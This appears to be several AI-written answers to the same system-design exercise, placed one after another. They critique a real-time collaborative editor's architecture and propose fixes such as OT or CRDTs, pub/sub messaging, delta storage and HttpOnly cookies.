Data Consistency	Missing Updates Due to Polling Gap	Server 1 receives a change, writes to PostgreSQL, and broadcasts to its clients. Server 2 polls PostgreSQL every 2 seconds. A client connected to Server 2 might miss the update for up to 2 seconds, leading to a stale view and potential LWW conflicts when they eventually submit a change based on old data.	Centralized Pub/Sub for Inter-Server Sync: Use a distributed message queue (e.g., Kafka, RabbitMQ) or a dedicated pub/sub layer (e.g., Redis Pub/Sub) to broadcast changes instantly across all API servers. Trade-offs: Adds complexity and another critical component (the message broker). Significantly reduces synchronization latency.
Data Consistency	Non-Deterministic Conflict Resolution	Using LWW on full paragraph edits is coarse-grained. A user might lose significant, non-overlapping work if another user saves a trivial change to the same paragraph slightly later.	Operational Transformation (OT) or Conflict-Free Replicated Data Types (CRDTs): Move away from LWW snapshots. Use OT or CRDTs to merge fine-grained operations (insert character, delete character) mathematically, ensuring all collaborators converge to the same state regardless of the order of arrival. Trade-offs: Highly complex to implement and debug. Required for a professional collaborative editor.
Race Condition	Broadcast Inconsistency (Split-Brain)	Server 1 writes to PostgreSQL, broadcasts to its 10 clients. Before Server 2 polls, Server 1 crashes. The change is in the DB, but 90% of the clients (on other servers) don't see the change until Server 2 polls 2 seconds later.	Requires Centralized Pub/Sub (Solution to Polling Gap): A centralized message broker ensures that if S1 successfully commits to the DB, it also commits to the message queue, guaranteeing the broadcast will happen even if S1 fails immediately afterward.
Failure Mode	Database Write Bottleneck	Every single character typed by any user results in a PostgreSQL write. This high-frequency write load will quickly overwhelm a single PostgreSQL instance, especially during peak usage.	Batching Writes and Asynchronous Persistence: The API server should buffer changes locally for a very short period (e.g., 50ms) and submit them as a single batched transaction to PostgreSQL. Use a durable message queue (e.g., Kafka) as the primary write buffer, allowing the DB writer process to consume and persist changes asynchronously. Trade-offs: Increases complexity. Improves write throughput dramatically but slightly increases the latency of final persistence.

---

II. Architectural and Scaling Bottlenecks

Issue Type	Bottleneck / Failure Mode	Explanation	Proposed Solution & Trade-offs
Scaling Bottleneck	Sticky Sessions (Load Balancer)	While not explicitly stated, if the load balancer uses round-robin without any persistence mechanism, a client might hit a different API server on a reconnect, forcing a new WebSocket connection and potentially losing context.	Use a Layer 7 Load Balancer with Consistent Hashing or Sticky Sessions: Ensure that a client is consistently routed to the same API server based on its ID (if possible) or use a sticky session duration long enough to cover typical connection drops. Trade-offs: Sticky sessions can lead to uneven load distribution if one server has a few very high-traffic users.
Failure Mode	Document Snapshotting Overhead	Saving the full HTML snapshot every 30 seconds for every active document is extremely storage-intensive and generates massive write spikes every half-minute.	Differential Versioning / Change Logs: Instead of full snapshots, store a chronological log of the tiny operational changes (the diffs). Periodically (e.g., every 5 minutes or 1000 operations), the server can generate a full "base" snapshot from the logs. Trade-offs: Reduces storage and write spikes significantly. Requires complex logic to rebuild the document state from the logs.
Scaling Bottleneck	Redis Single Point of Failure (SPOF)	Redis is used for session caching. If the single Redis instance fails, all users are logged out, forcing re-authentication and potential service outage.	Redis Sentinel or Cluster: Implement a highly available Redis setup using Sentinel (for automatic failover) or a full Redis Cluster (for sharding and high availability). Trade-offs: Increases operational complexity but eliminates the SPOF risk for session management.
Failure Mode	Loss of WebSocket State on Server Restart	WebSocket connections are stateful. If an API server restarts, all connected clients are dropped and must reconnect, causing a temporary service disruption and increased load on the remaining servers.	Graceful Shutdown and Connection Draining: Implement a process where the server stops accepting new connections, allows existing connections to finish their current transactions, and sends a "reconnect soon" signal before shutting down. Use a load balancer health check to quickly remove the failing server from the rotation. Trade-offs: Reduces abrupt disconnects but increases complexity in deployment pipelines.
Scaling Bottleneck	Document Partitioning Strategy	Partitioning only by organization ID means that very large organizations (e.g., 100,000 users) could still overwhelm a single database shard.	Compound Partitioning: Partition by Organization ID first, then by Document ID. This distributes the load for extremely active organizations across multiple shards. Trade-offs: Increases complexity of routing and cross-shard queries (if needed), but greatly enhances maximum scaling capacity.

---

III. Authentication and Frontend Issues

Issue Type	Failure Mode / Security Risk	Explanation	Proposed Solution & Trade-offs
Security Risk	JWT in localStorage	Storing JWTs in localStorage makes them highly vulnerable to XSS (Cross-Site Scripting) attacks, as any malicious script injected into the page can easily access and steal the token.	Use HttpOnly Cookies: Store the JWT token (or a reference token) in an HttpOnly cookie. This prevents client-side JavaScript from accessing the cookie, mitigating XSS risks. Trade-offs: Requires careful handling of CSRF (Cross-Site Request Forgery) protection (e.g., using a CSRF token in headers).
Failure Mode	CDN Caching of API Responses	Caching API responses for 5 minutes is fundamentally incompatible with a real-time system. If an API endpoint is hit directly (e.g., to fetch the document's initial state), that state could be 5 minutes old.	Disable Caching for Dynamic/API Endpoints: Ensure CloudFront only caches static assets (/images, /js, /css). API endpoints (e.g., /api/v1/docs/) must have caching explicitly disabled or set Cache-Control: no-store, max-age=0. Trade-offs: Reduces CDN cost savings for dynamic content, but ensures data freshness.
Failure Mode	Front-end Error Handling	If the client's WebSocket connection drops, the application must handle the reconnection gracefully, resending any operations that were queued during the disconnect.	Client-Side Operation Queue and Sequence Numbers: The client should maintain a queue of pending operations and use a global sequence number (or version number) obtained from the server. Upon reconnection, the client sends its last known sequence number, and the server replays any missed operations. Trade-offs: Adds significant complexity to the frontend state management. Essential for robust real-time applications.

Of course. This is an excellent exercise. The provided architecture has several critical issues that would prevent it from functioning as a reliable, scalable, real-time system.

Here is a breakdown of the potential failure modes, race conditions, and scaling bottlenecks, along with proposed solutions.

---

1. Race Conditions & Data Integrity Issues

Issue 1: "Last-Write-Wins" with Client Timestamps

This is the most critical data integrity problem in the architecture.

• Problem: Client clocks cannot be trusted. They can be out of sync due to network latency (NTP drift), incorrect manual settings, or even malicious manipulation. If User A's clock is 2 seconds behind User B's, and User A makes a change after User B, User A's change will be incorrectly discarded because its timestamp is earlier. This results in guaranteed data loss and a frustrating user experience, as changes will seemingly disappear.
• Solution: Replace the Last-Write-Wins (LWW) strategy with a more robust algorithm designed for collaborative editing. The two industry standards are:
  1. Operational Transformation (OT): This is the algorithm historically used by Google Docs. When a client sends an operation (e.g., "insert 'X' at position 50"), the server transforms it against any concurrent operations it has already processed before applying and broadcasting it. This requires a central server to serialize and transform all operations.
  2. Conflict-free Replicated Data Types (CRDTs): A more modern approach. CRDTs are data structures that are mathematically designed to resolve conflicts automatically and converge to the same state, regardless of the order in which operations are received. Each operation is commutative and idempotent. This removes the need for a central transformation server and is more resilient to network partitions.
• Trade-offs:
  • OT: Very complex to implement correctly on the server. The logic for transforming all possible pairs of operations is non-trivial. It also requires a single, authoritative server per document session to order operations, which can be a bottleneck.
  • CRDTs: Shifts complexity to the client-side data model. Payloads can sometimes be larger than OT operations. However, the backend logic is much simpler (mostly just relaying messages), making it more scalable and resilient.

Issue 2: Stale Data from CDN Caching

• Problem: The CDN caches API responses (e.g., the initial document load) for 5 minutes. If a user opens a document, they could receive a version that is up to 5 minutes old. They will then start receiving real-time WebSocket updates that are based on the current version of the document, leading to data corruption on the client-side as the updates (deltas) are applied to a stale base document.
• Solution: Do not cache the API endpoints that serve document content. The CDN should only be used for its primary purpose: serving static assets like JavaScript bundles, CSS files, images, and fonts. API requests for dynamic data must always hit the origin servers to ensure freshness.
• Trade-offs: This increases the load on the backend for initial document requests. However, this is a necessary trade-off for correctness. The load can be managed effectively with the proposed database read replicas.

---

2. Scaling Bottlenecks

Issue 3: Inter-Server Communication via Database Polling

• Problem: Having each server poll PostgreSQL every 2 seconds is extremely inefficient and will not scale.
  1. High Latency: Users on different servers will see each other's changes with a delay of up to 2 seconds, plus database latency. This is not "real-time."
  2. Database Load: As you add more API servers (N), the number of polling queries to the database increases linearly (N queries every 2 seconds). This creates immense, constant, and largely useless load on the database, making it the primary bottleneck for the entire system.
• Solution: Implement a Pub/Sub (Publish/Subscribe) message bus.
  1. When an API server receives a change for document-123, it publishes that change to a document-123 topic/channel on the message bus (e.g., Redis Pub/Sub, RabbitMQ, or Kafka).
  2. All API servers handling clients for document-123 will be subscribed to that topic.
  3. They receive the message instantly from the bus and broadcast it to their connected WebSocket clients.
• Trade-offs:
  • Complexity: Introduces a new component (Redis, RabbitMQ, etc.) into the architecture that must be deployed, managed, and monitored.
  • Reliability: The message bus itself can become a point of failure, though systems like Kafka and clustered Redis are designed for high availability. The benefit of near-instant, low-overhead communication far outweighs this complexity for a real-time application.

Issue 4: Storing Full HTML Snapshots

• Problem: Saving the entire document as an HTML snapshot every 30 seconds is inefficient for both storage and I/O.
  1. Storage Bloat: If a user fixes a single typo in a 10MB document, you are writing another 10MB to the database. This causes the database to grow incredibly fast.
  2. High I/O: Frequent large writes put unnecessary strain on the database's write capacity.
• Solution: Store the operations/deltas themselves (the OT or CRDT operations). The document is an ordered log of these operations.
  • To load a document, a client fetches an initial snapshot and all subsequent operations, replaying them to construct the current state.
  • To optimize this, the server can periodically create new, consolidated snapshots in the background (e.g., every 1000 operations or every hour) so that clients don't have to replay an entire document's history from the beginning.
• Trade-offs:
  • Read Complexity: Reconstructing a document from operations is more computationally expensive than just fetching a single blob. This is why periodic snapshotting is a crucial optimization.
  • Data Model: Requires a more complex data model for storing and versioning operations, but the storage and I/O savings are massive.

---

3. Failure Modes & Security

Issue 5: Siloed WebSocket Connections

• Problem: Each API server maintains its own WebSocket connections. If one of these servers crashes or is taken down for deployment, all users connected to it are instantly disconnected. While they can reconnect (likely to a new server via the load balancer), their session context (e.g., which document they were in, cursor position) is lost, providing a jarring user experience.
• Solution: Decouple connection management from application logic.
  • Store session state in a shared, fast data store like Redis. When a user connects to a server, the server looks up their session ID in Redis to see which document they are editing.
  • If a server fails and the client reconnects to a new server, the new server can seamlessly resume the session using the data from Redis. The Pub/Sub system ensures they don't miss any messages during the brief reconnection window (if using a durable queue like Kafka).
• Trade-offs:
  • Increases dependency on Redis, making its uptime even more critical.
  • Adds a Redis lookup on every new connection, but this is a very fast operation and a worthwhile trade-off for fault tolerance.

Issue 6: JWT in localStorage

• Problem: Storing JWTs in localStorage is a well-known security risk. It makes the application vulnerable to Cross-Site Scripting (XSS) attacks. If an attacker can inject malicious JavaScript onto the page (e.g., through a third-party library), they can read the JWT from localStorage and send it to their own server, allowing them to impersonate the user and gain full access to their account.
• Solution: Use secure, httpOnly cookies to store authentication tokens.
  • An httpOnly cookie cannot be accessed by JavaScript, which mitigates XSS-based token theft.
  • A common pattern is to store a long-lived refresh token in an httpOnly cookie and a short-lived access token (the JWT) in memory on the client. When the access token expires, the client uses the refresh token (sent automatically by the browser) to silently request a new one.
• Trade-offs:
  • This pattern requires protection against Cross-Site Request Forgery (CSRF), since cookies are sent with every request to the domain. This is a standard, solved problem that can be handled using anti-CSRF tokens. The security benefits greatly outweigh this implementation detail.

Of course. This is an excellent exercise. The proposed architecture has several critical flaws that would prevent it from functioning as a reliable, real-time, or scalable system.

Here is a breakdown of the issues, categorized for clarity, along with specific solutions and their trade-offs.

---

Category 1: Race Conditions & Data Integrity Issues

Issue #1: Sync Strategy - "Last-Write-Wins with Client Clocks"

This is the most severe data integrity problem. Client-side clocks cannot be trusted; they drift, can be set incorrectly, or can be manipulated by a user. This will lead to definite data loss.

• Scenario:

  1. User A (Clock: 10:00:05) types "Hello World".
  2. User B (Clock: 10:00:03, slightly slow) types "Hi Earth" in the same spot, a moment after User A.
  3. The server receives User B's change first, then User A's.
  4. Because User A's timestamp (10:00:05) is "later" than User B's (10:00:03), User A's change will overwrite User B's, even though User B made their edit after User A in real-world time. This is data loss.

• Solution: Implement a proper concurrency control algorithm like Operational Transformation (OT) or use a Conflict-free Replicated Data Type (CRDT).

  • Operational Transformation (OT): This is the algorithm used by Google Docs. Edits are not "the new state" but are "operations" (e.g., insert 'a' at position 5, delete 1 char at position 12). A central server receives operations, transforms them against other recent operations to ensure they can be applied correctly, and then broadcasts the transformed operation. Each operation is versioned sequentially.
  • Conflict-free Replicated Data Type (CRDT): This is a newer approach. The document's data structure is designed in such a way that concurrent edits can be merged mathematically without conflicts, always converging to the same state regardless of the order they are received.

• Trade-offs:

  • OT: Very complex to implement correctly, especially the transformation logic for all possible concurrent operations. The central server that manages transformations can be a single point of failure or bottleneck if not designed carefully. However, it is a proven, powerful model for collaborative text.
  • CRDT: Can be simpler on the server-side (often just a dumb relay), and naturally supports offline editing better than OT. However, CRDTs can have higher data overhead (each character might need metadata) and some operations can be less intuitive to model than in OT.

Issue #2: Stale Data from CDN Caching

Caching API responses for a real-time collaborative document for 5 minutes is fundamentally incorrect and will cause major consistency problems.

• Scenario:

  1. A document is actively being edited.
  2. A new user opens the document. CloudFront serves them a cached, 5-minute-old version of the document from the API.
  3. The user's client then connects to the WebSocket and receives a flood of real-time updates, causing the entire document to "jump" or re-render, creating a jarring UX and potential merge conflicts on the client side.

• Solution: Do not cache the API endpoints that serve document content. The CDN (CloudFront) should only be used for its primary purpose: caching static assets like JavaScript bundles, CSS files, images, and fonts. API calls for dynamic content like a document body must always go to the origin servers.

• Trade-offs:

  • Pro: The system is now correct. Users always fetch the latest version of a document upon opening it.
  • Con: Higher load on the origin servers for initial document fetches. This is a necessary trade-off for correctness. This load can be managed effectively with database read replicas, as mentioned in the scaling plan.

---

Category 2: Scaling Bottlenecks

Issue #3: Siloed WebSocket Connections & DB Polling

This is the most severe scaling bottleneck. The architecture does not support real-time communication between users connected to different servers. The 2-second polling is a slow, inefficient, and unscalable workaround.

• Scenario:

  1. 100 users are on a document. 50 are connected to Server A, 50 to Server B.
  2. A user on Server A makes an edit. It is instantly broadcast to the other 49 users on Server A.
  3. The 50 users on Server B see nothing.
  4. Up to 2 seconds later, Server B's polling mechanism reads the change from PostgreSQL and broadcasts it to its 50 users. This is not "real-time."
  5. As you scale to 100 servers, each server hammers the primary database every 2 seconds, creating a massive, unnecessary read load (100 servers * 30 queries/min = 3000 queries/min) that will crash the database.

• Solution: Use a dedicated Pub/Sub Message Bus. Decouple real-time messaging from the API servers. Use a service like Redis Pub/Sub, RabbitMQ, or Kafka.

  • New Data Flow:
    1. User types → change event sent via WebSocket to their connected server (e.g., Server A).
    2. Server A publishes this event to a specific channel on the message bus (e.g., doc-changes:document-123).
    3. All API servers (A, B, C...) are subscribed to these channels. They all receive the event from the bus almost instantly.
    4. Each server then broadcasts the change to all of its connected WebSocket clients.
    5. The database write can happen asynchronously in the background.

• Trade-offs:

  • Pro: Enables true horizontal scaling. Adding more API servers doesn't degrade performance; it improves it. Real-time communication latency is reduced from seconds to milliseconds. The database is removed from the real-time path, dramatically reducing its load.
  • Con: Introduces a new component (the message bus) that must be managed, scaled, and monitored. This adds operational complexity but is standard practice for distributed real-time systems.

Issue #4: Saving Full HTML Snapshots

Writing the entire document every 30 seconds is highly inefficient.

• Scenario: A 1MB document is being edited. A user changes one character. The system writes 1MB to the database. This creates massive write I/O, wastes storage space, and makes it impossible to have a granular "Version History" feature. It also means up to 29 seconds of work can be lost if a server crashes.

• Solution: Store Deltas/Operations, Not Snapshots. Align the storage strategy with the sync strategy (OT or CRDT).

  1. When a server processes an operation (e.g., insert 'a' at position 5, version 43), it writes that small operation to a database table (e.g., document_operations).
  2. To load a document, you fetch the last known full snapshot and replay all subsequent operations to reconstruct the current state.
  3. A background worker can periodically create new full snapshots and archive old operations to keep reconstruction times fast.

• Trade-offs:

  • Pro: Drastically reduced write load and storage costs. Enables a granular version history feature. Reduces data loss window from 30 seconds to near-zero.
  • Con: Reading/reconstructing a document is more computationally expensive than just reading a single blob. This is a good trade-off, as document loads are less frequent than edits, and the process can be heavily optimized.

---

Category 3: Failure Modes & Reliability Issues

Issue #5: Lack of Message Delivery Guarantees

The current WebSocket broadcast is "fire-and-forget." If a client has a momentary network blip, they will miss an update and their document state will permanently diverge from everyone else's until the next full save/refresh.

• Solution: Implement a Versioning and Catch-up Mechanism. This is a natural extension of using OT or CRDTs.

  1. Every operation/delta applied to a document increments a version number (e.g., from v42 to v43).
  2. The client keeps track of the document version it has.
  3. If a client disconnects and reconnects, it tells the server the version it has (I am on v42).
  4. The server can then query the document_operations table for all operations after v42 and send them to the client to "catch up."

• Trade-offs:

  • Pro: Creates a resilient system that can handle temporary network disruptions, which are common. This is essential for a reliable user experience.
  • Con: Adds complexity to the client and server to manage versioning and the catch-up logic.

Issue #6: JWT in localStorage

Storing the JWT in localStorage is a known security vulnerability.

• Problem: If your application has a Cross-Site Scripting (XSS) vulnerability (e.g., from a dependency or user-generated content that isn't properly sanitized), an attacker can inject a script that reads the JWT from localStorage. They can then use this token to impersonate the user completely.

• Solution: Store the JWT in a Secure, httpOnly Cookie. When the user logs in, the server sets the JWT in a cookie with the httpOnly and Secure flags.

  • httpOnly: Prevents JavaScript from accessing the cookie, mitigating XSS-based token theft.
  • Secure: Ensures the cookie is only sent over HTTPS. The browser will automatically include this cookie in all subsequent HTTP API requests and in the initial WebSocket connection handshake for authentication.

• Trade-offs:

  • Pro: Significantly improves security against XSS.
  • Con: You must now protect against Cross-Site Request Forgery (CSRF) attacks, since cookies are sent automatically by the browser. This is typically done by using the SameSite=Strict or SameSite=Lax cookie attribute or by implementing anti-CSRF tokens. This is a standard and well-understood security trade-off.

Of course. This is a great exercise. The proposed architecture has several critical flaws that would prevent it from functioning as a reliable, real-time collaborative editor at scale.

Here is a breakdown of the issues, categorized for clarity.

---

Category 1: Race Conditions & Data Integrity

Issue 1: "Last-Write-Wins" with Client-Side Timestamps

• Problem: This is the most critical data integrity issue. Relying on client clocks is a recipe for data loss and corruption. Client clocks can be incorrect due to drift, manual user changes, or different time zones.
  • Scenario: User A (in New York) edits a paragraph at 10:00:00 EST. User B (in London) edits the same paragraph a second later at 15:00:01 GMT (which is 10:00:01 EST). If User A's computer clock is 2 seconds fast, their change will be timestamped 10:00:02 and will incorrectly overwrite User B's later change. The result is non-deterministic and leads to lost work.
• Solution: Implement Operational Transformation (OT) or CRDTs.
  • OT (Operational Transformation): This is the classic approach used by Google Docs. All changes (operations) are sent to a central server with a version number. The server acts as the single source of truth, sequencing all operations. When it receives an operation, it may need to "transform" it against other operations that have happened concurrently before applying it and broadcasting the transformed operation to all clients.
  • CRDT (Conflict-free Replicated Data Type): A more modern approach. Changes are structured in a way that they can be merged in any order and will always converge to the same result. This is mathematically provable and removes the need for a central transformation server, though a central server is still useful for sequencing and broadcasting.
• Trade-offs:
  • OT: Pro: Strong consistency and a well-understood model for text editing. Con: The transformation logic can become incredibly complex to get right, and it requires a centralized server to sequence operations, which can be a bottleneck if not designed carefully.
  • CRDT: Pro: More resilient to offline work and decentralized by nature. Merge logic is often simpler than OT transforms. Con: Can have higher memory/storage overhead, as deletes are often "tombstones" rather than true removals. The resulting merged state might sometimes be mathematically correct but not what a user intuitively expected.

---

Category 2: Scaling Bottlenecks & Latency

Issue 2: Real-time Communication Silos

• Problem: Each API server only broadcasts changes to its own connected clients. Users on different servers will not see each other's changes in real-time. The 2-second polling interval means a user on Server B will see a change from a user on Server A with a delay of up to 2 seconds, destroying the real-time experience.
• Solution: Use a Pub/Sub Message Bus.
  • Introduce a dedicated messaging layer like Redis Pub/Sub, RabbitMQ, or Kafka.
  • New Data Flow:
    1. User's client sends a change to Server A.
    2. Server A validates the change and publishes it to a specific channel/topic (e.g., doc-changes:document-123).
    3. All API servers (A, B, C...) are subscribed to these channels.
    4. Servers A, B, and C all receive the message from the bus instantly and broadcast it down to their respective connected WebSocket clients.
• Trade-offs:
  • Pro: Achieves true real-time, low-latency communication across the entire cluster. Decouples the API servers from each other.
  • Con: Introduces a new system component (the message bus) that must be managed, scaled, and monitored. This adds to infrastructure complexity.

Issue 3: Database Polling as a Sync Mechanism

• Problem: Having every server poll the primary PostgreSQL database every 2 seconds is extremely inefficient and will not scale. With 100 servers, the database would receive 50 queries per second, even if no documents are being edited. This places a huge, unnecessary load on the primary write database, which is often the most critical bottleneck in a system.
• Solution: Event-Driven Architecture (via Pub/Sub).
  • This problem is solved entirely by implementing the Pub/Sub message bus described in the previous point. The database is no longer used for real-time notifications. It is only accessed for initial document loads and for persisting changes, completely removing the polling load.
• Trade-offs:
  • Pro: Massively reduces database load, allowing the DB to scale more effectively for its primary purpose (storage). Enables true real-time updates.
  • Con: Relies on the availability and performance of the chosen message bus.

Issue 4: Inefficient Full Document Snapshots

• Problem: Saving the entire HTML document every 30 seconds is highly inefficient for both I/O and network traffic. A one-character change results in writing a multi-megabyte document. It also makes it impossible to implement granular versioning or a robust undo/redo feature.
• Solution: Store Deltas/Operations.
  • Instead of saving snapshots, persist the individual operations (or "deltas") that users generate. This is a natural fit for an OT or CRDT system. For example, store records like (doc_id, user_id, version, operation_payload).
  • To prevent infinite replay on document load, a background worker can periodically create a new full snapshot and truncate the operation log up to that point.
• Trade-offs:
  • Pro: Hugely efficient storage. Enables powerful features like precise version history ("see what changed between 10:05 and 10:06") and reliable undo/redo.
  • Con: Loading a document becomes more complex. You must fetch the latest snapshot and replay all subsequent operations to construct the current state.

---

Category 3: Failure Modes & Reliability

Issue 5: Loss of WebSocket State on Server Failure

• Problem: The architecture states that "each API server maintains its own WebSocket connections." If a server crashes, all its WebSocket connections are terminated. The round-robin load balancer will redirect the client to a new server, but the context (which document the user was in) is lost, forcing a disruptive reconnection flow.
• Solution: Decouple Connection and Session Management.
  • The WebSocket connection logic on the client must be robust, with automatic reconnection.
  • When a client reconnects, it presents its JWT. The new server uses the session information (which should be in Redis, not server memory) to look up the user's state, including the document_id they were last editing. The server can then seamlessly re-subscribe them to the document's Pub/Sub channel without the user noticing anything more than a brief flicker.
• Trade-offs:
  • Pro: Creates a highly fault-tolerant system where individual server failures have minimal impact on users.
  • Con: Requires more sophisticated client-side connection management and disciplined state management on the backend (i.e., never store session state in a specific server's memory).

Issue 6: Stale API Cache with CDN

• Problem: Caching API responses for a highly dynamic, real-time application is dangerous. If a document's title is changed, the real-time view will update instantly, but a browser refresh might hit a CDN-cached API response for /api/documents/{id} and show the old title for up to 5 minutes. This creates a confusing and inconsistent user experience.
• Solution: Do Not Cache Dynamic API Responses.
  • The CDN should only be used for its primary purpose: serving static assets (JavaScript, CSS, images, fonts).
  • All API requests (/api/*) should be configured to bypass the CDN cache and go directly to the origin (the load balancer).
• Trade-offs:
  • Pro: Guarantees data consistency between the API and the real-time system.
  • Con: Places higher load on the API servers, as they must serve all requests. This is a necessary trade-off for a system where data freshness is paramount.

---

Category 4: Security

Issue 7: JWT Storage in localStorage

• Problem: Storing JWTs in localStorage makes the application vulnerable to Cross-Site Scripting (XSS). If an attacker finds an XSS vulnerability, they can inject script to steal the JWT from localStorage and use it to impersonate the user completely.
• Solution: Use Secure, HttpOnly Cookies.
  • The authentication server should set the JWT in a cookie with the HttpOnly, Secure, and SameSite=Strict flags.
  • HttpOnly: Prevents JavaScript from accessing the cookie, mitigating XSS-based theft.
  • Secure: Ensures the cookie is only sent over HTTPS.
  • SameSite=Strict: Prevents the browser from sending the cookie on cross-site requests, mitigating CSRF.
• Trade-offs:
  • Pro: Significantly more secure than localStorage. The browser handles token storage and transmission automatically and securely.
  • Con: Requires protection against Cross-Site Request Forgery (CSRF) because cookies are sent automatically with requests. WebSocket authentication can also be slightly trickier, as the initial handshake might not have access to the cookie, often requiring a separate HTTP-based auth step or passing the cookie during connection setup.

This architecture contains several critical flaws that would prevent it from functioning as a "Google Docs" clone. The most significant issues involve data integrity, synchronization latency, and security.

1. Conflict Resolution: "Last-Write-Wins" (LWW) with Client Clocks

• The Problem: Client clocks are never perfectly synchronized. A user with a lagging clock could "revert" legitimate changes made by others. Furthermore, LWW on a paragraph level means if two users type in the same paragraph simultaneously, one user's entire contribution will simply vanish.
• The Solution: Use Operational Transformation (OT) or Conflict-free Replicated Data Types (CRDTs) (e.g., Yjs or Automerge).
• Trade-off: Significantly higher implementation complexity. OT requires a central "source of truth" (server), while CRDTs increase the payload size as they store metadata for every character/operation.

2. Real-time Pub/Sub: Server Silos

• The Problem: The architecture states servers only broadcast to clients connected to that server, and others poll every 2 seconds. This means User A (Server 1) sees their own edits instantly, but User B (Server 2) sees them up to 2 seconds later. This makes collaborative editing feel broken and causes constant merge conflicts.
• The Solution: Implement a Redis Pub/Sub or NATS backbone. When Server 1 receives an update, it publishes to a Redis channel for that Document ID. All other servers subscribe to that channel and push the update to their connected clients instantly.
• Trade-off: Adds a dependency on Redis; if Redis lags, the entire real-time experience lags.

3. Storage Strategy: HTML Snapshots

• The Problem: Saving full HTML snapshots every 30 seconds is extremely heavy on I/O and makes "undo" history or granular versioning impossible. Furthermore, if a server crashes at second 29, 29 seconds of work are lost because the "real-time" path only writes individual changes to Postgres (which isn't optimized for high-frequency small writes).
• The Solution: Store an initial snapshot and then an append-only log of operations (diffs). Use a background worker to periodically "squash" these operations into a new snapshot.
• Trade-off: Requires a more complex "reconstruction" logic to load a document (Snapshot + Diffs).

4. API Caching: CloudFront Caching

• The Problem: Caching API responses for 5 minutes at the CDN level is catastrophic for a collaborative editor. A user might refresh the page and see a version of the document from 4 minutes ago, even though they just spent those 4 minutes editing it.
• The Solution: Disable CDN caching for dynamic document data. Use ETags or Cache-Control: no-cache. Rely on Redis for fast document state retrieval.
• Trade-off: Increases the load on your origin servers and database.

5. Security: JWT in LocalStorage & 24h Expiry

• The Problem: LocalStorage is vulnerable to XSS attacks. If a malicious script runs, it can steal the JWT. Additionally, a 24-hour expiry without a revocation mechanism (blacklist) means if a user is fired or a token is stolen, they have access for up to a full day.
• The Solution: Store JWTs in HttpOnly, Secure cookies. Implement Short-lived Access Tokens (15 min) and Refresh Tokens stored in the database to allow immediate revocation.
• Trade-off: Slightly more complex frontend/backend handshake; cookies can introduce CSRF risks (must use SameSite attributes).

6. Scaling Bottleneck: Round-Robin Load Balancing

• The Problem: With round-robin, two users collaborating on the same doc will likely end up on different servers. This exacerbates the "Server Silo" issue mentioned in point #2.
• The Solution: Use Sticky Sessions (Session Affinity) based on Document ID (or Organization ID). Alternatively, use a "Socket Worker" pattern where all traffic for a specific Document ID is routed to a specific node.
• Trade-off: Can lead to "hot spots" where one server is overloaded because a specific document is viral/highly active, while other servers are idle.

7. Database Bottleneck: PostgreSQL Writes

• The Problem: Writing every single keystroke (change event) directly to PostgreSQL will quickly exhaust the connection pool and disk I/O under heavy load.
• The Solution: Buffer writes in Redis or a message queue (Kafka). Batch these writes before committing them to PostgreSQL.
• Trade-off: Risk of losing a few seconds of data if the buffer/queue fails before the database write.

8. Race Condition: The "Polling" Gap

• The Problem: If Server A writes to the DB and Server B is polling every 2 seconds, there is a window where Server B overwrites Server A's data because it hasn't "seen" the update yet (especially with LWW).
• The Solution: This is solved by the Redis Pub/Sub solution in point #2 and the OT/CRDT solution in point #1. You must treat the document as a stream of events, not a series of static states.

This architecture contains several critical flaws that will prevent it from functioning as a collaborative editor, likely resulting in data loss, massive latency, and immediate scaling failures.

Here is a breakdown of the failure modes, race conditions, and bottlenecks, along with architectural fixes.

---

1. Synchronization & Concurrency (The "Split Brain" Problem)

Failure Mode: Client-Side Timestamp LWW (Last-Write-Wins) Using client-side timestamps for conflict resolution is catastrophic.

• Race Condition: If User A (clock: 12:00:01) and User B (clock: 12:00:05) edit the same sentence simultaneously, User B overwrites User A completely.
• Malicious/Buggy Clients: A user with a clock set to the year 2099 will permanently lock the document state; no one else can ever overwrite their changes.
• Granularity: "Last write wins" on a whole document or paragraph level makes concurrent editing impossible. It turns the app into a turn-taking system, not a collaborative one.

Solution: CRDTs (Conflict-free Replicated Data Types) or OT (Operational Transformation) Instead of sending full HTML snapshots or raw text replacements, send operations (e.g., insert 'a' at index 5).

• Implementation: Adopt a library like Yjs or Automerge (CRDTs) or ShareDB (OT).
• Trade-off: High complexity. CRDTs increase memory usage (history required for resolution), while OT requires a central authority to sequence operations. CRDT is generally preferred for decentralized/offline-first capabilities.

---

2. Real-Time Propagation (The "Lag" Problem)

Failure Mode: Database Polling Strategy "Other servers poll PostgreSQL every 2 seconds for changes."

• Latency: Users on Server A see changes instantly. Users on Server B see them 2 seconds later. This makes real-time collaboration feel broken and leads to users overwriting each other because they are editing stale data.
• Bottleneck: As you scale to $N$ servers, the database receives $N \times (\text{Active Documents}) / 2$ queries per second just for polling. This creates a "Thundering Herd" problem that will crush PostgreSQL.

Solution: Redis Pub/Sub Backplane Since you already have Redis, use its Pub/Sub capabilities.

• Mechanism: When Server A receives a change, it publishes the delta to a Redis channel (e.g., doc_updates:UUID). All servers subscribe to channels for documents they currently have open.
• Trade-off: Increases Redis CPU/Network load. Requires logic to manage subscriptions (subscribing only when a local user opens a doc).

---

3. Load Balancing & Connections

Failure Mode: Round-Robin with WebSocket State

• Issue: Round-robin distributes users editing the same document across different servers. This forces the system to rely heavily on the Pub/Sub backplane (Solution #2) to sync them.
• Efficiency: If 10 people are editing "Doc X", and they are on 10 different servers, every keystroke must be broadcast to 10 servers.

Solution: Consistent Hashing / Application-Layer Routing Route connections based on the Document ID, not just round-robin.

• Mechanism: Use a custom load balancer (like HAProxy or Nginx with Lua) or a "Director" service that redirects the client to a specific WebSocket server node responsible for that Document ID.
• Trade-off: Hot-spotting. A viral document with 10,000 active users could overwhelm the single server assigned to it. (Mitigation: If a doc exceeds capacity, fall back to Pub/Sub across multiple nodes).

---

4. Database & Storage Patterns

Failure Mode: Write Amplification & Data Loss

• Conflict: The prompt says "Server writes change to PostgreSQL" (Step 2) AND "Documents saved as full HTML snapshots every 30s."
• Step 2 Issue: Writing to Postgres on every keystroke (WebSocket event) will destroy the database IOPS.
• Snapshot Issue: Storing full HTML snapshots is inefficient. It bloats storage and makes "undo/redo" history difficult to manage.

Solution: Write-Behind Log + Vector/Delta Storage

• Mechanism:
  1. Hot Storage (Redis): Store the temporary document state (or list of operations) in Redis.
  2. Persistence: Use a background worker to flush the consolidated state from Redis to PostgreSQL every few seconds (or when the session ends).
  3. Format: Store the document as a JSON structure (Prosemirror/Quill Delta format), not raw HTML. It is lighter and safer.
